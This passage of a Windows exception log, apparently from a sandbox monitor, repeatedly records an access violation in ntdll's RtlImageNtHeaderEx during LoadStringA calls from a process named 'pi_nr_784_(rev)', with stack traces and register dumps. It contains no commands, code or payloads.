registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632728
registers.edi: 1632824
registers.eax: 23117
registers.ebp: 1632788
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005446144
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e
RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632620
registers.edi: 1632708
registers.eax: 23117
registers.ebp: 1632680
registers.edx: 0
registers.ebx: 0
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632472
registers.edi: 1632568
registers.eax: 23117
registers.ebp: 1632532
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005342720
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7
RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632604
registers.edi: 1632692
registers.eax: 23117
registers.ebp: 1632664
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632728
registers.edi: 1632824
registers.eax: 23117
registers.ebp: 1632788
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005446144
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e
RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632620
registers.edi: 1632708
registers.eax: 23117
registers.ebp: 1632680
registers.edx: 0
registers.ebx: 0
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632472
registers.edi: 1632568
registers.eax: 23117
registers.ebp: 1632532
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005342720
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7
RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632604
registers.edi: 1632692
registers.eax: 23117
registers.ebp: 1632664
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632728
registers.edi: 1632824
registers.eax: 23117
registers.ebp: 1632788
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005446144
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e
RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632620
registers.edi: 1632708
registers.eax: 23117
registers.ebp: 1632680
registers.edx: 0
registers.ebx: 0
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632472
registers.edi: 1632568
registers.eax: 23117
registers.ebp: 1632532
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005342720
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7
RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632604
registers.edi: 1632692
registers.eax: 23117
registers.ebp: 1632664
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632728
registers.edi: 1632824
registers.eax: 23117
registers.ebp: 1632788
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005446144
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e
RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632620
registers.edi: 1632708
registers.eax: 23117
registers.ebp: 1632680
registers.edx: 0
registers.ebx: 0
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
